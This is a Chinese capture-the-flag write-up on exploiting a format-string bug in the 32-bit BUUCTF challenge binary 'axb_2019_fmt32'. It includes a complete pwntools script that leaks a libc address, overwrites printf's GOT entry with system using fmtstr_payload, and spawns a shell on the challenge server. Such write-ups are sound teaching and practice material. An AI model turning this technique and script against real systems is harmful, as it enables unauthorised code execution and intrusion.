axb 2019 fmt32

前提

查看文件保护

[*] '/root/pwn/buuctf/axb_2019_fmt32/axb_2019_fmt32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

静态分析

主函数如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Fh] [ebp-239h]
  char format; // [esp+110h] [ebp-138h]
  unsigned int v5; // [esp+23Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  puts(
    "Hello,I am a computer Repeater updated.\n"
    "After a lot of machine learning,I know that the essence of man is a reread machine!");
  puts("So I'll answer whatever you say!");
  while ( 1 )
  {
    alarm(3u);
    memset(&s, 0, 0x101u);
    memset(&format, 0, 0x12Cu);
    printf("Please tell me:");
    read(0, &s, 0x100u);
    sprintf(&format, "Repeater:%s\n", &s);
    if ( strlen(&format) > 0x10E )
      break;
    printf(&format);
  }
  printf("what you input is really long!");
  exit(0);
}

思路分析

1. 目前信息：

   • main函数存在格式化字符串漏洞
   • 无system函数，无/bin/sh字符串
   • No canary found
   • NX enabled
   • No PIE

2. 思路：

   • ret2libc，首先泄漏出system地址，接着将got表中printf的地址修改为泄漏出的system地址，第三次传入;/bin/sh\x00以获得shell

exp

from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/axb_2019_fmt32/axb_2019_fmt32'
io = remote('node4.buuoj.cn', 28051)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc_start_main = elf.got['__libc_start_main']
payload = flat(['%9$sa', libc_start_main])
io.recv()
io.send(payload)
io.recvuntil('Repeater:')
leak_libc_start_main_addr = u32(io.recv(4))
success("leak_libc_start_main_addr:"+hex(leak_libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main_addr)
libc_base = leak_libc_start_main_addr-libc.dump('__libc_start_main')
system_addr = libc_base+libc.dump('system')
payload = flat(['%9$sa', libc_start_main])
printf_got = elf.got['printf']
payload = b'a'+fmtstr_payload(8, {printf_got: system_addr}, numbwritten=10)
# 输入处栈不是对齐的，先输入一个a以平衡栈
# 因为Repeater:a=10 所以numbwritten=10
io.sendafter('me:', payload)
io.sendline(';/bin/sh\x00')
# linux加;分号分别执行前面的Repeater:a与/bin/sh
io.interactive()